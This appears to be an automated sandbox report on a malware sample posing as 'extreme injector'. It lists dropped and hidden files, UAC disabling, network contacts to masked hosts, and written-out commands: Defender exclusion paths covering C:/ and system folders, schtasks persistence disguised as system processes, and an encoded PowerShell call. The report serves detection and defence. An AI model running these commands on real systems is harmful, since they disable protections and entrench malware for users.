Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\explorere
- <SYSTEM32>\tasks\explorer
- <SYSTEM32>\tasks\java update
- <SYSTEM32>\tasks\java updatej
- <SYSTEM32>\tasks\winlogonw
- <SYSTEM32>\tasks\lsml
- <SYSTEM32>\tasks\winlogon
- <SYSTEM32>\tasks\lsm
- <SYSTEM32>\tasks\audiodg
- <SYSTEM32>\tasks\audiodga
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Modifies file system
Creates the following files
- %APPDATA%\extreme injector v3.7.3.exe
- %TEMP%\38e454ca-9ce4-48e1-bc51-970aa5383212.vbs
- %TEMP%\9a6ad8911b754ea68aa46d6724db76bd7cdb851a.exe
- %TEMP%\a5cfd4da-5acc-4e4e-ac49-14c22c1dd2ef.vbs
- nul
- %TEMP%\dg5ww3gshs.bat
- %TEMP%\wuj70adpzj
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\42af1c969fbb7b
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\audiodg.exe
- %TEMP%\2d944793-bb93-48ff-8f2b-803dffd0369e.vbs
- %ProgramFiles(x86)%\windows portable devices\101b941d020240
- C:\msocache\all users\{90140000-0043-0409-1000-0000000ff1ce}-c\cc11b995f2a76d
- C:\msocache\all users\{90140000-0043-0409-1000-0000000ff1ce}-c\winlogon.exe
- %ProgramFiles%\wsctool\53abcf06520ca0
- %ProgramFiles%\wsctool\java update.exe
- C:\far2\fexcept\7a0fd90576e088
- C:\far2\fexcept\explorer.exe
- <Current directory>\settings.xml
- %APPDATA%\java update.exe
- %ProgramFiles(x86)%\windows portable devices\lsm.exe
- %TEMP%\6871ae7c-3a8a-4990-8687-6ed5d467ac26.vbs
Sets the 'hidden' attribute to the following files
- %APPDATA%\java update.exe
- C:\far2\fexcept\explorer.exe
- %ProgramFiles%\wsctool\java update.exe
- C:\msocache\all users\{90140000-0043-0409-1000-0000000ff1ce}-c\winlogon.exe
- %ProgramFiles(x86)%\windows portable devices\lsm.exe
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\audiodg.exe
Deletes the following files
- %TEMP%\wuj70adpzj
- %TEMP%\a5cfd4da-5acc-4e4e-ac49-14c22c1dd2ef.vbs
- %TEMP%\2d944793-bb93-48ff-8f2b-803dffd0369e.vbs
Network activity
Connects to
- 'ra#.####ubusercontent.com':443
- 'ch###hub.space':80
TCP
HTTP GET requests
- http://ch###hub.space/servertrafficprivate.php?UY################################################################################################################################################...
Other
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ra#.####ubusercontent.com
- DNS ASK ch###hub.space
- 'localhost':123
Miscellaneous
Creates and executes the following
- '%APPDATA%\extreme injector v3.7.3.exe'
- '%APPDATA%\java update.exe'
- 'C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\audiodg.exe'
- '<SYSTEM32>\wscript.exe' "%TEMP%\a5cfd4da-5acc-4e4e-ac49-14c22c1dd2ef.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\38e454ca-9ce4-48e1-bc51-970aa5383212.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\2d944793-bb93-48ff-8f2b-803dffd0369e.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\6871ae7c-3a8a-4990-8687-6ed5d467ac26.vbs"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHcAaQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAYQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...' (with hidden window)
- '%APPDATA%\extreme injector v3.7.3.exe' ' (with hidden window)
- '%APPDATA%\java update.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\Dg5wW3gSHs.bat"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHcAaQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAYQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Far2/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Users/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/totalcmd/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\Dg5wW3gSHs.bat"
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
- '<SYSTEM32>\wscript.exe' "%TEMP%\579a06dc-e46d-4a72-8e63-8de4f136a51b.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\ef9be6b6-5334-41ed-bfdd-a64daf92af44.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
- '<SYSTEM32>\wscript.exe' "%TEMP%\244d4b92-dffc-4b92-bd3a-7c5868aedddc.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/cqnkg/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/'
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Far2\FExcept\explorer.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'C:\Far2\FExcept\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Far2\FExcept\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Java UpdateJ" /sc MINUTE /mo 7 /tr "'%ProgramFiles%\wsctool\Java Update.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Java Update" /sc ONLOGON /tr "'%ProgramFiles%\wsctool\Java Update.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Java UpdateJ" /sc MINUTE /mo 8 /tr "'%ProgramFiles%\wsctool\Java Update.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0043-0409-1000-0000000FF1CE}-C\winlogon.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0043-0409-1000-0000000FF1CE}-C\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-0043-0409-1000-0000000FF1CE}-C\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 14 /tr "'%ProgramFiles(x86)%\Windows Portable Devices\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Windows Portable Devices\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 12 /tr "'%ProgramFiles(x86)%\Windows Portable Devices\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodga" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\audiodg.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodg" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodga" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
- '<SYSTEM32>\wscript.exe' "%TEMP%\4e8b3a56-6a16-4d1a-a4f8-07e05ed50ee7.vbs"
